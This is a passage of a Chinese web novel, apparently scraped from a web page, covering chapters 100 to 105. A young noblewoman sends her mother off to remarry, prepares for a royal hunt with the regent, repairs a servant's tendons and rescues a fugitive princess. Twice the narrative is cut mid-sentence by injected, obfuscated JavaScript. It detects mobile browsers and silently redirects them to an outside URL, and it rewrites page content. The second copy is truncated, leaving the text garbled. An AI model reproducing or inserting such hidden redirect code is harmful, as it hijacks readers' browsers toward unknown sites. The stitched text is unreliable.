柳映雪莞尔一笑,款步走进前厅。灯火通明的厅内,茶香袅袅,一派温馨祥和。 “雪儿可是去凤栖楼用膳了?”朱氏拉着女儿坐下,为她斟了杯温热的茶水。 “不是呢。”柳映雪接过茶盏,轻轻吹了吹,“今日是去了摄政王府,王爷找我帮了点小忙。” 朱氏闻言,欣慰一笑。女儿与摄政王走得近些也好,日后成了亲,感情自然也会更深厚。她正要说些什么,却见司马澄的眉头微微蹙起。 “雪儿。”司马澄放下茶盏,语气中带着几分担忧,“你与王爷尚未成婚,去摄政王府要多加注意才是。外人难免会说闲话。” 柳映雪心中一暖,司马叔父待她如亲生女儿一般,处处为她着想。她抿了一口茶,轻声道:“叔父放心,我心里有数的。王府内下人众多,我也不会单独与王爷相处。” 司马澄点点头,目光在朱氏和柳映雪之间游移了片刻,似乎在斟酌着什么。厅内一时陷入沉默,只有檐下风铃偶尔发出清脆的响声。 “雪儿。”良久,司马澄终于开口,声音温和却带着几分郑重,“叔父想与你娘亲去云州完婚,你觉得如何?” 柳映雪一愣,茶盏差点脱手。她眨了眨眼,心中惊喜万分。这进展也太快了吧?一顿饭的时间就聊到了结婚的事儿? 看到女儿瞪大眼睛的模样,朱氏连忙解释:“雪儿,若你觉得太快,我们可以再等等的。毕竟你叔父刚来京城不久...” “不不不。”柳映雪连连摆手,打断了母亲的话,“我巴不得你们赶紧成婚呢!娘亲值得拥有幸福。”她转向司马澄,眼中闪着狡黠的光芒,“叔父,你可不能再犹豫了。” 司马澄闻言,紧绷的神色顿时放松下来。他端起茶盏掩饰内心的激动,目光却不自觉地瞥向朱氏。 “对了叔父。”柳映雪状似无意地问道,“祖父祖母是不是还在云州等着你们回去?他们知道娘亲的事吗?” 司马澄一愣,随即眼眶微微发红。雪儿这一声祖父祖母,让他心中激动不已。他放下茶盏,声音有些哽咽:“是啊,你祖父祖母正在准备婚事。他们...很期待见到你们母女。” 第一百章 回云州成亲 “那你们赶紧回去吧。”柳映雪一本正经地说道,“趁着天气还不算太冷,挑个好日子完婚。” 朱氏忍俊不禁,“瞧瞧,这孩子倒像是在给我们操办婚事似的。”她转头看向女儿,“雪儿,你要不要和我们一起回云州?” 柳映雪摇摇头,“娘亲,你们先回去吧。我这边还有些事要处理。”她顿了顿,“今日摄政王提到可能要举行皇家狩猎,若我在邀请名单上,还得想办法推掉。” “雪儿,若是皇上邀请,不去恐怕不好。”朱氏有些担忧地看着女儿。自从女儿与摄政王定亲后,她总是提心吊胆,生怕女儿在宫中走错一步。 “娘亲放心,我会和萧寒瑾商量的。”柳映雪安抚道。她知道母亲的担忧,但有些事情,她必须自己面对。 “那好。”司马澄沉吟片刻,“叔父让人准备一下,后日启程如何?” 柳映雪连连点头,“最好能在年节前完婚。”她心里清楚,虽然娘亲已经和离,但谁知道柳昌泰会不会再生事端。早日完婚,她也能放心。 商定好行程后,柳映雪陪着朱氏回到清溪居。看着娘亲收拾行装的背影,她心中五味杂陈。从小到大,她看着娘亲在柳府忍气吞声,如今终于要迎来属于自己的幸福,她却不能陪在身边。 “雪儿。”朱氏停下手中的动作,转身看向女儿,“你真的不和我们一起去云州吗?” 柳映雪走上前,轻轻抱住母亲:“娘亲,你放心去吧。等你们成亲后,我一定去云州看你。” 朱氏拍了拍女儿的手,眼中含泪:“雪儿,你要好好照顾自己。若是王爷欺负你,一定要告诉娘亲。” “娘亲。”柳映雪笑着摇头,“萧寒瑾不会欺负我的。你要相信女儿的眼光。” 朱氏叹了口气,却也不再多说什么。她继续收拾行装,时不时回头看看女儿,似乎想要将女儿的模样牢牢记在心里。 明德殿内,龙椅上的身影在昏暗的烛光下显得格外威严。案几上的奏折堆积如山,却无人敢打扰圣上的沉思。 “皇上,户部尚书一事,确实查到三皇子参与其中。”暗枭跪地禀报,声音压得极低。 皇上冷笑一声,眼中寒光闪烁:“这户部尚书,当年虽护朕登基,但这些年来所为,朕已是忍无可忍。”他停顿片刻,“三皇子也是越发不知收敛了。” “四皇子那边可有动静?” “回皇上,四皇子一切如常,近日都在军营操练。” 皇上点点头,又问:“老五呢?该回来了吧。” “五皇子已在归途,预计三日内可到。” 提起五皇子,皇上眼中闪过一丝难得的柔和。这个儿子随了他最宠爱的妃子,性子洒脱,不喜朝堂,整日游山玩水。虽说不务正业,倒也省了许多麻烦。 “皇上,丞相府又出怪事了。”暗枭迟疑片刻,还是开口道。 皇上眸光一凝:“说。” 暗枭将事情简述一遍。近日丞相府总有奇怪的响动,府中下人说是闹鬼,但查不出源头。更奇怪的是,这些怪事似乎都与那位新来的柳大小姐有关。 皇上若有所思,手指轻叩龙椅扶手:“那柳映雪近来如何?” “回皇上,她正忙着置办新府邸。前日还去了趟市集,买了不少东西。” 皇上眯起眼睛:“狩猎时让她也去,好好观察。” “是。对了,今日摄政王出府,与柳大小姐同行。路上卢家小姐的马受惊,还是王爷的侍卫出手相助。” “哦?”皇上冷笑,“九皇弟也会怜香惜玉?那柳映雪不过是个会做诗的弱女子,连马都怕,有什么本事?” “要不要派人盯着柳大小姐?” “不必,狩猎时观察便可。”皇上眼中闪过一丝算计,“若九皇弟当真对她上心,这就是他的软肋。” 数百里外的驿站,一道倩影立于窗前。月光如水,为她清丽的容颜镀上一层银辉。 “公主,该歇息了。”二棠轻声劝道,“明日还要赶路。” “还有多久到京城?”女子并未回头,目光依旧望着远方。 “约莫七八日。六皇子都累病了。” “父皇让六哥护送,他倒先撑不住了。”公主语气中带着不屑,“若是小哥来,早就到了。” 想起心中那道清冷的身影,公主眼中泛起异样的光彩。那一次和谈宴会上的惊鸿一瞥,让她再也无法忘怀。那个男人,浑身散发着王者之气,让人不由自主想要臣服。 如今,她终于要见到他了。 二棠看着痴迷的公主,暗自叹息。公主不知,有些人,注定是可望而不可即的星辰。 次日清晨,柳映雪早早起身。她站在院中,看着晨曦中的花木,思绪有些恍惚。 “小姐。”丫鬟绿萱匆匆走来,“摄政王府来人了,说王爷请您过府一叙。” 柳映雪微微蹙眉:“这么早?” “说是要商议狩猎的事。” 柳映雪沉默片刻,转身回房更衣。她选了一件淡青色的襦裙,简单挽了个发髻。 “小姐要不要再打扮一下?”绿萱有些着急,“好歹是去摄政王府......” “不必了。”柳映雪淡淡道,“又不是去赴宴。” 摄政王府门前,王府管家早已等候。见到柳映雪,连忙迎上前:“柳小姐请随我来,王爷在书房等您。” 穿过重重庭院,柳映雪终于来到书房外。推门而入,只见摄政王正在案前批阅文书,听到脚步声也未抬头。 “萧寒瑾。” “雪儿坐。有点急事马上就好”摄政王抬头和柳映雪说完,又继续批阅手中的文书。 柳映雪在椅子上坐下,目光不由自主落在摄政王身上。晨光透过窗棂洒在他俊美的侧颜上,衬得那张脸愈发清冷。 良久,摄政王才放下手中的毛笔,抬眼看向她:“这次狩猎,皇上点名让你也去。” 柳映雪一愣:“为什么?” “皇上的心思很明显。”摄政王淡淡道,“你会不会骑马?” “会一些。” “那就好。”摄政王起身走到窗前,“这次狩猎不简单,你要小心。” 第一百零一章 做手术 柳映雪心中一凛:“王爷的意思是......” “宫中来了消息,西域公主快到了。”摄政王转身,目光如炬,“她此行目的不单纯。” 柳映雪沉默片刻:“与我何干?” “你觉得呢?”摄政王冷笑,“一个深居简出的大小姐,突然被皇上看中,还让你参加狩猎。你以为这是巧合?” 柳映雪心中一沉。她何尝不明白,自己不过是一枚棋子。但既然已经走到这一步,也只能继续下去。 “王爷有何指教?”她抬头,直视摄政王的眼睛。 摄政王看着她坚定的眼神,眸中闪过一丝赞赏:“先学会骑马。” “我会。” “不,你需要更好的马术。”摄政王走到她面前,“从今天开始,每天清晨来王府练习。” 柳映雪愣住:“王爷要教我?” “不然呢?”摄政王挑眉,“你想找别人?” 柳映雪连忙摇头:“多谢王爷。” “去吧,明日卯时来后院。”摄政王转身,“记住,不要迟到。” 柳映雪起身告退。回到府中,柳映雪坐在院中发呆。绿萱端来茶点,见她心不在焉的样子,忍不住问:“小姐在想什么?” “在想......”柳映雪顿了顿,“我是不是太不谨慎了?” “小姐这是什么意思?” 柳映雪摇摇头:“没什么。”她站起身,“去准备些软膏吧,明天开始练马,怕是要受些苦了。” 绿萱应声而去。 皇宫 房门被敲响,宫女快步上前开门。脚步声轻盈却带着几分急促,在寂静的宫殿中格外清晰。 “公主,是青珑回来了。”宫女微微欠身,声音轻柔。 听闻是青珑,公主放下手中描金镶玉的书卷,纤长的手指在书页上轻轻摩挲了一下。她起身时,华贵的裙摆在地上划出一道优美的弧度,步履从容地走到檀木桌前坐下。 青珑是父皇特意为她挑选的暗卫,不仅武功高强,办事也极为妥帖。这些年来,她交代的每一件事,青珑都完成得无可挑剔。窗外的阳光透过雕花窗棂洒进来,在她脸上投下细碎的光影。 “让她进来。”公主语气平淡,却自有一股威仪。 青珑快步入内,跪地行礼:“属下曾见过公主。”她的动作干脆利落,却不失恭敬。 “免礼,查得如何?”公主端起茶盏,轻轻吹散漂浮的茶叶。 “回禀公主,关于柳大小姐的事,属下已查得详尽。”青珑从袖中取出一封信件,双手呈上。信封上的火漆印还带着些许温度,显然是刚刚封好不久。 公主接过信件,纤长的手指轻轻展开。她的目光在字里行间流连,面容平静如水,只有眼底偶尔闪过一丝若有所思的神色。殿内一时寂静,只闻得檐下风铃偶尔发出清脆的响声。 信中所言,那柳大小姐体弱多病,已与丞相断绝关系,搬离丞相府独居。但在宫中长大的公主深知,表象之下往往暗藏玄机。这柳大小姐究竟是何等人物,还需亲眼一见才能知晓。 不过这些都不重要。以她的才情与容貌,定能让摄政王对她倾心。至于青云国皇上的态度,她手中掌握的城池,足以作为联姻的筹码。 “青珑,继续盯着。”公主将信件放在烛台上,看着它慢慢化为灰烬。 “是,属下遵命。”青珑应声退下,身影很快消失在殿门之外。 次日清晨,柳映雪从修炼空间出来,浑身沁着一层薄汗。她简单梳洗后,换上一袭淡青色的长裙,裙摆上绣着细密的云纹,衬得她愈发清丽脱俗。 刚到廊下,就见朱氏正伏案疾书。晨光透过窗棂,在她略显疲惫的面容上洒下斑驳的光影。 “娘亲在写什么?”柳映雪轻声问道,脚步放得极轻。 “雪儿来了。”朱氏抬头,眼中满是慈爱,“娘给孙掌柜写些交代,你一个人在这儿,娘放心不下。”她的笔尖在宣纸上划过,字迹工整有力。 柳映雪凑近一看,信中详细列出了各种补品的送货时间,连食用方法都写得清清楚楚。字里行间,无不透露着母亲的关切之情。 “娘亲...”柳映雪心头一暖,撒娇般靠在母亲肩头。朱氏放下手中的毛笔,轻轻拍了拍她的手背。 用过早膳,柳映雪便带着丫鬟前往药坊。马车行驶在青石板路上,发出规律的咯噔声。刚行出清溪居不久,便有人悄无声息地解决了跟踪之人。 柳映雪微微掀起车帘,嘴角勾起一抹浅笑。晨光下,她的眸子闪烁着狡黠的光芒。 到了药坊二楼,萧寒瑾已在等候。他倚在窗边,一袭玄色长袍,衣袂随风轻扬。见她到来,那双冷冽的眸子瞬间染上暖意。 “雪儿。”他唤道,声音低沉而温柔。 “萧寒瑾。”柳映雪笑着打招呼,眼底闪过一丝不易察觉的柔情。 陶大君匆匆赶来,脚步声急促。他激动地问:“柳大小姐,老夫按您的要求准备好了房间,您看可还满意?” 房内白布环绕,酒香四溢。柳映雪仔细检查了一遍,确认无误后点头。她从药箱中取出器具,动作娴熟地开始为绿雪接筋。 陶大君在旁看得目不转睛。只见柳映雪手法精准,每一个动作都恰到好处,丝毫不见犹豫。那份沉着与自信,哪还有平日里娇俏可人的模样。 汗水顺着她的额角滑落,但她始终专注于手中的工作,连眉头都未曾皱一下。阳光透过窗棂洒在她身上,为她镀上一层淡淡的金边。 整整一个时辰,萧寒瑾在外焦急等候。他早已指示王府备好了午餐,却不知她何时才能完工。房内偶尔传出绿雪的闷哼声,让他心头一紧。 他在走廊来回踱步,目光不时投向房门。心中暗暗担忧她的身子是否能受得住,却又不敢打扰。 柳映雪的手指微微颤抖,终于完成了最后一个结。她轻轻放下手中的银针,抬手擦去额头的汗水,目光落在床上昏睡的绿雪身上。 绿雪的双手缠着厚厚的纱布,呼吸平稳而绵长。这场手术持续了将近两个时辰,即便是在现代医学条件下,接断裂的手筋也绝非易事。 第一百零二章 手术完成 “柳大小姐,真的...这就好了?”陶大君的声音里带着难以置信,他看着床上的绿雪,目光中满是震惊。 柳映雪将银针一根根收入针囊,动作轻柔而娴熟:“嗯,手筋已经接好,现在最重要的是静养。”她揉了揉酸痛的肩膀,继续道,“一个月内不能乱动,等我再来复查。” 陶大君走到床边,仔细查看着绿雪包扎整齐的双手。他的手微微发抖,眼中闪烁着激动的光芒:“老夫行医四十余载,还从未见过如此精妙的手法!柳大小姐,请让老夫拜您一拜!” 说着,他就要跪下。 “陶大君言重了。”柳映雪连忙侧身避开,扶住老人的手臂,“医者本是一家,不必如此。” 她心里清楚,自己的医术源自另一个世界,在这里显得格外惊人罢了。这些天来,她已经习惯了隐藏自己的惊讶和不适,但每当看到这个时代落后的医疗条件,心中总会泛起一丝苦涩。 房门被轻轻推开,萧寒瑾的身影出现在门口。烛光在他俊美的面容上投下明暗交错的阴影,他的目光一落在柳映雪略显苍白的脸上,眉头就不自觉地皱了起来。 “雪儿。”他快步走到她身边,从袖中取出手帕为她擦拭额头的汗水,动作轻柔,“累坏了吧?” 柳映雪摇摇头,却感觉双腿有些发软。长时间保持一个姿势施针,再加上精神高度集中,此刻终于感到了疲惫。 这时绿竹和绿风也跟了进来,看到王爷如此体贴王妃,都识趣地低下了头。绿竹的目光不时瞟向床上的绿雪,眼中满是担忧。 “王爷,我先把注意事项写给陶大君。”柳映雪说着就要去拿笔墨。 萧寒瑾却按住了她微凉的手:“不急,先喝口茶。” 他接过绿风递来的茶盏,亲自斟了一杯递到柳映雪手中。茶香袅袅升起,带着一丝清甜。 陶大君看得目瞪口呆,堂堂摄政王居然亲自给王妃倒茶?这在他行医四十年来,还是头一遭见到。 柳映雪却早已习惯了萧寒瑾的体贴,接过茶盏小口啜饮。温热的茶水滑入喉咙,她紧绷的神经终于放松下来。 “绿雪的手筋已经接好了,”她对着焦急等待的绿竹说道,“只要按时服药,好好静养,一个月后就能开始恢复训练。不过前三天最为关键,需要每两个时辰换一次药。” “感谢柳大小姐!”绿竹激动地跪了下来,声音哽咽,“若不是您,绿雪这双手怕是...” “不必如此,起来吧。”柳映雪赶紧扶起他,“绿雪是王府的人,这是我应该做的。” 她走到书案前,提笔写下详细的注意事项。笔尖在宣纸上游走,留下一行行工整的字迹。写完后,她又取出一个精致的瓷瓶交给陶大君:“这是我特制的药,按时服用即可。” 陶大君双手接过,郑重地点头:“老夫一定严格按照柳大小姐的医嘱来做。这药...” “这药能活血化瘀,助伤口愈合。”柳映雪解释道,“我调配时加入了一些特殊的药材,效果会比普通的跌打药好得多。” “不知是何药材?”陶大君眼中闪过求知的光芒。 柳映雪微微一笑:“这个以后有机会再详谈。”她不能说这些药材配方来自现代医学,只能含糊其辞。 收拾完医具,柳映雪已经感到一阵眩晕。这场手术耗费了她太多精力,再加上这几天为了研究接筋的方法几乎没有好好休息,此刻疲惫感如潮水般涌来。 萧寒瑾察觉到她的异样,二话不说,直接将她打横抱起。 “王爷!”柳映雪惊呼一声,下意识地搂住他的脖子,“这是在街上...” “雪儿都累成这样了,还在意什么?”萧寒瑾低头看着她微红的脸颊,眼中满是宠溺,“再说,谁敢对摄政王妃指指点点?” 柳映雪靠在他的胸膛上,听着他有力的心跳,不知为何,突然感到一丝安心。这个男人总是能在她最疲惫的时候给予支持,让她不至于在这陌生的世界里感到孤单。 清逸客栈二楼的窗边,西幽国二皇子司徽风正凝视着街上的这一幕,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581787|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神逐渐变得深邃。烛光在他英俊的面容上跳动,映出一抹若有若无的冷意。 “二皇子,您说这柳映雪...”司平站在他身后,欲言又止。 “不急。”司徽风转身走回房内,长袍在地上拖出一道优雅的弧线,“老爹说赤凰剑和赤凤剑是一对,持有者极可能是个女子...” 他在房间里来回踱步,脚步声在寂静的夜色中格外清晰:“虽然柳映雪看起来只是个寻常的大家闺秀,但这一个月来的种种变化,未免太过蹊跷。” “那我们要不要...”司平压低声音。 “不,现在还不是时候。”司徽风说道,“听说皇上要举办皇家狩猎,那才是我们的机会。” 他走到窗前,望着夜色中渐行渐远的马车,喃喃自语:“柳映雪,希望你不要让我失望。” 柳映雪用完午膳,轻轻放下筷子,眼角余光瞥见萧寒瑾正专注地看着她。她的心跳不由自主地加快了几分,连忙低下头,假装整理衣袖。 “寒瑾,我该回去了。”她轻声开口,语气中带着几分不舍。 萧寒瑾还未应声,东方辉便匆匆而来,脚步声急促。他的表情凝重,显然有要事禀报。柳映雪识趣地站起身,本想开口让萧寒瑾送她,话到嘴边又咽了回去。 “绿风。”萧寒瑾淡淡开口,目光依旧停留在柳映雪身上,“送雪儿过去。” 绿风立即应声:“是,王爷。” 走出王府,阳光正好。柳映雪坐在马车里,听着车轮碾过青石板路的声响,街市上熙熙攘攘的人声传入耳中。青莲掀开一角车帘,让新鲜空气流通进来。 “小姐,您看那边。”青莲指着街边一处摊位,“好像在做糖人。” 柳映雪顺着她手指的方向望去,只见一位老艺人正在摆弄着糖稀,手法娴熟地拉丝吹气。周围簇拥着不少看热闹的孩童,叫卖声此起彼伏。 “糖人喽,刚出炉的糖人,栩栩如生的糖人......” 柳映雪眼睛一亮:“绿风,停车。” 第一百零三章 送糖人 青莲连忙劝阻:“小姐,让奴婢去买就是了,您何必亲自......” “我想去看看。”柳映雪打断她的话,眼中闪烁着兴奋的光芒,“好久没见过做糖人了。” 青莲无奈,只得取出一件淡青色斗篷为她披上,又细心地为她戴上帽子,遮住大半张脸。 柳映雪走到摊前,目不转睛地看着老艺人的动作。摊位上摆着各式各样的糖人,有蝴蝶、小鸟、兔子,还有栩栩如生的人物。一只通体晶莹的糖兔特别引人注目,她不由自主地伸手想拿。 就在这时,另一只修长的手也伸了过来。 “抱歉。”一道温和的男声响起。 柳映雪抬头,只见一名男子站在身侧。他身着玉蓝色直襟长袍,腰间系着一块上等羊脂玉,整个人给人一种温润如玉的感觉。 “是小姐先看中的,请小姐先选。”男子微微一笑,目光清澈。 柳映雪摇头:“公子先请,我看您也是冲着这只糖兔来的。” 摊主见状,笑呵呵地说:“两位不必推让,老朽再做一个便是。” 看着老艺人熟练的手法,柳映雪忽然灵机一动:“老伯,您能模仿我的样子做个小人吗?” 这话一出,摊主明显犹豫了。 “摊主怕是担心做得不够像。”旁边的男子轻笑道,“毕竟小姐容貌出众,不好拿捏。” 柳映雪莞尔:“不必太像,能有几分神韵就好。” 摊主定了定神,拿起糖壶开始制作。热腾腾的糖稀在他手中仿佛有了生命,渐渐成型。 这时绿风走近,看到那名男子时,神色突变:“见过五......” 男子眼神微动,绿风立即改口:“见过公子。” 柳映雪全神贯注地看着糖人制作,并未注意到这个小插曲。很快,一个精致的糖人便完成了。 “真像!”柳映雪欢喜地拿起来端详,“连发髻都做得这么细致。” 五皇子看着她如同孩童般天真的模样,嘴角不自觉地扬起。这样的柳映雪,与他印象中那个端庄优雅的大家闺秀判若两人。 付完钱后,柳映雪礼貌告辞。回到马车上,她看着手中的糖人,心中暗道:方才那位公子虽然风度翩翩,但比起寒瑾还是差了几分。 “绿风。”她忽然开口,“把这个送给王爷吧,就说这是我给他的心意。” 绿风接过糖人,一时哭笑不得:这恐怕是王爷收到过最特别的礼物了。 将柳映雪安全送到司马澄处后,绿风便急匆匆赶回王府。此时萧寒瑾正与东方辉议事,听到急促的敲门声,眉头微皱。 “进来。” 绿风快步入内,将糖人呈上:“王爷,柳大小姐让属下把这个交给您,说是送您的礼物。” 萧寒瑾接过糖人,越看越觉得眼熟。待看清是柳映雪的模样,他终于忍不住笑了:这丫头,竟是把自己的模样当作礼物送他。 东方辉在旁看得目瞪口呆:自从有了王妃,王爷当真是判若两人。就连拿着个糖人都能笑得如此温柔。 “王爷,那些小事......” “你看着办便是。”萧寒瑾摆手,专注寻找合适的位置摆放糖人。 东方辉欲言又止,看着王爷小心翼翼地将糖人放在书案上最显眼的位置。 “还有事?”萧寒瑾抬头。 “没...没有了。”东方辉叹了口气,转身离去。走到门口时,他回头看了一眼:这还是从前那个事必亲躬的王爷吗?看来真是重色轻友了。 夜色渐浓,书房内的烛火摇曳。萧寒瑾放下手中的公文,目光不自觉地落在那个糖人上。透过烛光,糖人晶莹剔透,栩栩如生。 他伸手轻轻碰了碰糖人的发髻,嘴角勾起一抹温柔的弧度。这个丫头,总是能用这样天真的方式打动他的心。 门外传来脚步声,绿风轻声禀报:“王爷,柳大小姐派人送来口信,说糖人要趁新鲜时吃掉,放久了会坏。” 萧寒瑾看着糖人,轻笑一声:“告诉她,本王舍不得吃。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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司马澄摆摆手,又指着车厢另一侧:“这里还放了暖手的小炉子,你娘亲手脚容易凉,夜里可以用上。” 看着这一切,柳映雪终于彻底放下心来。有叔父这般细心照料,娘亲这一路定然舒适。她的手指轻轻抚过车厢内的布置,仿佛能触摸到叔父的用心。 “明日辰时,我去清溪居接你娘亲。”司马澄说着,目光落在柳映雪身上,眉头微微蹙起,“你一个人在京城,要多加小心。我让人暗中...” 第一百零四章 救了一个女子 “叔父不必担心,”柳映雪连忙打断他的话,唇角勾起一抹浅笑,“摄政王已经派人保护我了。” 司马澄闻言稍稍放心,但还是叮嘱道:“那好。若有事就去澜月阁找高掌柜,那是我的铺子,掌柜很可靠。” 澜月阁...柳映雪在心底默念这个名字,眼底闪过一丝思索。这个名字似乎在哪里听过,莫非...她摇摇头,暂时压下心中的疑惑。 “叔父,我有几样东西要送给你。”她收回思绪,转而说道。 两人移步前厅,阳光透过雕花窗棂洒在青石地面上,在地上投下斑驳的花影。柳映雪从袖中取出几个小巧的瓷瓶,一一摆在案几上。瓷瓶通体雪白,上面绘着不同的花纹,精致得宛如艺术品。 “这是解毒的,”她指着第一个瓷瓶说道,“无论是寻常毒物还是江湖暗器上的剧毒,都能解。” “这是疗伤的,”她又指向第二个瓷瓶,“外伤内伤都管用,尤其对刀剑伤最有效。” “还有这一瓶,”她拿起最后一个瓷瓶,神色凝重了几分,“能救命。若是遇到危急情况,服下它能吊住三个时辰的命。” 司马澄接过瓷瓶,手微微颤抖。他早听雅芸提起雪儿医术了得,但没想到能配出这等灵药。这哪里是普通的药丸,简直就是保命的法玉。 “雪儿,叔父...”他的声音有些哽咽。 “叔父不必言谢,”柳映雪浅笑,“咱们都是一家人了。” “好!好!”司马澄连声应和,眼中满是欢喜,小心翼翼地将瓷瓶收入怀中。 告别叔父后,柳映雪坐上回程的马车。街上行人渐少,夕阳的余晖给整个城市镀上一层金色。她正把玩着手中的糖兔子,琢磨从哪里下口,马车突然一个急停。 那精巧的糖兔子从指尖滑落,在车厢内摔得粉碎。糖屑散落一地,映着最后一缕阳光,像是碎掉的琉璃。 “谁这么不长眼!”柳映雪暗恼,她的小兔子还没来得及尝一口呢。这糖兔子可是她特意从糖人摊上买的,做工精细,栩栩如生。 “小姐没事吧?”车夫焦急的声音传来,“有人倒在马车前面了。” 柳映雪挑眉,这时辰就有人来讹诈?马车走得这么慢,难不成是闭着眼撞上来的?她掀开车帘,凉风扑面而来,带着几分傍晚的寒意。 她下了马车,准备给这不长眼的人一点教训。可走近一看,却发现倒地的是个女子,身上还有血腥味。女子面朝下趴在地上,一头青丝散乱,衣衫上沾满尘土和血迹。 青莲刚要上前查看,那昏迷的女子突然出手,动作快如闪电,直取她咽喉。寒光一闪,一把匕首不知从何处出现。 柳映雪眼疾手快,一把将青莲拉开。那女子扑空,身子一晃,又重重地摔在地上,这次是真的昏了过去。 路人渐渐聚集过来,指指点点。有人认出柳映雪的马车,窃窃私语起来。夕阳的余晖中,她看到几个鬼鬼祟祟的身影在巷口晃动。 柳映雪眸光一闪,迅速做出决定:“把她抬入马车里,去药坊。” 药坊里,柳映雪仔细查看这位不速之客。烛光下,女子的面容清晰可见。二十出头的年纪,眉目间带着几分英气,虽然昏迷不醒,但眉头紧蹙,似乎在承受着极大的痛苦。 她的手上有明显的茧子,尤其是虎口处,那是常年练剑留下的痕迹。最引人注目的是她身上的伤,有好几处深可见骨的剑伤,伤口整齐,显然出自高手之手。 这是被人追杀的痕迹,而且追杀她的人武功不弱。柳映雪心中暗忖,手上却没停,迅速点了穴道,施了银针。 一炷香后,那女子终于醒转。她警惕地打量四周,目光最后落在柳映雪身上。 “是你救了我?”她沙哑着声音问,眼神中还带着几分戒备。 柳映雪点头,递过一杯温水。 女子接过水杯,犹豫片刻后仰头喝下,她那紧绷的身体这才稍微放松:“谢谢。” 柳映雪蹙眉打量着眼前的陌生女子。虽然狼狈不堪,但从她的衣着和气质来看,定非寻常人家。 “你身上还有不少剑伤未处理,我需要先确认你的身份。”柳映雪端坐在床边,语气平静,“若是救了什么大奸大恶之人,岂不是要折我的功德。” 女子闻言一愣,随即展颜一笑,眼中的戒备消散了几分:“小姐说话如此直白,倒让我心生好感。” 柳映雪给她解开穴道,递上一盏温热的茶水。女子双手微颤,小心翼翼地接过茶盏。她轻轻啜饮,眼中浮现出一丝安心。这些日子东躲西藏,提心吊胆,此刻终于感受到一丝温暖。 “我叫闵芊羽,是巫域人。”她放下茶盏,眼中浮现一抹哀伤,声音低沉,“我父亲是凤张,我们巫域向来与西幽、南安两国井水不犯河水。谁知父王的弟弟争张勾结外人谋反,杀害了父王和王后...” 说到这里,闵芊羽已是泪流满面。她紧紧攥着手中的茶盏,指节发白。不久前她还是无忧无虑的公主,转眼间就失去了至亲。回忆起那血腥的一幕,她全身都在微微发抖。 “既然争张已得逞,为何还要追杀于你?”柳映雪蹙眉问道。她注意到闵芊羽说话时眼神闪烁,似乎还有所隐瞒。 “他想抓我回去养蛊。”闵芊羽咬紧牙关,满脸恨意,“我自小精通蛊术,在巫域无人能及。争张想利用我的能力...”她没有说下去,但柳映雪已经明白了几分。 “你也习武?”柳映雪看着她身上的剑伤,这些伤口虽然狰狞,但从角度来看,她显然进行过激烈的反抗。 “是,父王让我和长兄从小练武。”闵芊羽提到长兄时,眼中又涌出泪水,“可惜...可惜我还是太弱了,连自己最亲近的人都保护不了。” 她想到为救她而死的丫鬟,想到在混乱中失散的长兄,她眼里的恨意愈发浓烈。她攥紧拳头,指甲深深陷入掌心,却浑然不觉疼痛。 柳映雪默然。这小姑娘年纪轻轻就遭此横祸,却仍能保持镇定,实属难得。但从她的言谈举止来看,事情恐怕没有表面这么简单。 第一百零五章 母亲去启程去云州 “你接下来打算怎么做?”她轻声问道。 闵芊羽摇头,眼中满是迷茫:“我...我也不知道。这些天只顾着逃命,根本没想那么多。”她苦笑一声,“或许等伤好了,我该去找找长兄的下落。” “先养伤吧。”柳映雪取来金疮药,替她仔细包扎伤口,“我让丫鬟照顾你,等伤好了再做打算。” 闵芊羽感激地看着她:“感谢小姐的救命之恩,还未请教芳名。” “柳映雪。” 安顿好闵芊羽,柳映雪又去看望绿雪。推开门时,就见绿竹守在床边,神情焦急。见她进来,绿竹忙行礼。 绿雪虽面色苍白,但精神已好转不少。她勉强支起身子,声音虚弱却诚恳:“感谢柳大小姐的救助。我愿意为大小姐效劳。” 柳映雪莞尔:“不必,我只是受王爷所托罢了。”她给绿雪把了把脉,又叮嘱了几句调养的事项。 回到清溪居,夜色已深。柳映雪陪着母亲用过晚膳,今晚特意留宿在母亲房中。 朱氏搂着女儿,絮絮叨叨说着往事。从柳映雪小时候的趣事,到她自己的童年,再到外祖父母的故事。她的声音轻柔,带着几分怀念。 柳映雪依偎在母亲怀中,贪恋着这份温暖。 望着熟睡的母亲,柳映雪轻轻为她掖好被角。月光透过窗棂洒落,在母亲安详的面容上镀上一层柔和的光晕。她伸手轻轻抚摸母亲的脸颊,心中暖意流淌。 次日清晨,母女俩早早起身梳洗。丫鬟端来热水,朱氏亲自为女儿梳头。她的动作轻柔,不时叮嘱几句。 用过早膳,朱氏又是一番叮嘱。从衣着打扮到言行举止,事无巨细。柳映雪微笑点头,静静聆听。她知道母亲是担心自己,心中既温暖又有些愧疚。 这时司马澄到访,询问是否准备妥当。他看着眼前的母女二人,目光中带着几分欣慰。 柳映雪看着母亲和司马叔父,心中涌起淡淡的温情。 朱雅芸依偎在司马澄身边,眼中满是温柔。窗外的阳光透过雕花窗棂洒进来,在她脸上镀上一层柔和的光晕。屋内檀香袅袅,茶香四溢,一派温馨祥和的氛围。 “阿澄,我们已经收拾妥当了。”朱雅芸轻声说着,纤细的手指不自觉地摩挲着衣袖。 司马澄温和地点头,目光在她身上流连,“那便启程吧。”他的声音低沉而富有磁性,带着一丝难以察觉的紧张。 几个丫鬟提着包袱鱼贯而出,脚步轻盈却不失稳重。走在最后的小丫身形魁梧,是柳映雪特意安排在母亲身边的。这丫头不仅力气大,更习得一身好武艺,关键时刻能护主周全。 柳映雪站在母亲身边,仔细为她整理着披风。深褐色的狐裘披风上绣着精致的暗纹,衬得朱雅芸更显贵气。她的手指在披风的搭扣处流连,心中暗暗记挂:等她训练出的人手成熟了,一定要派两个武功高强的侍女贴身保护母亲。 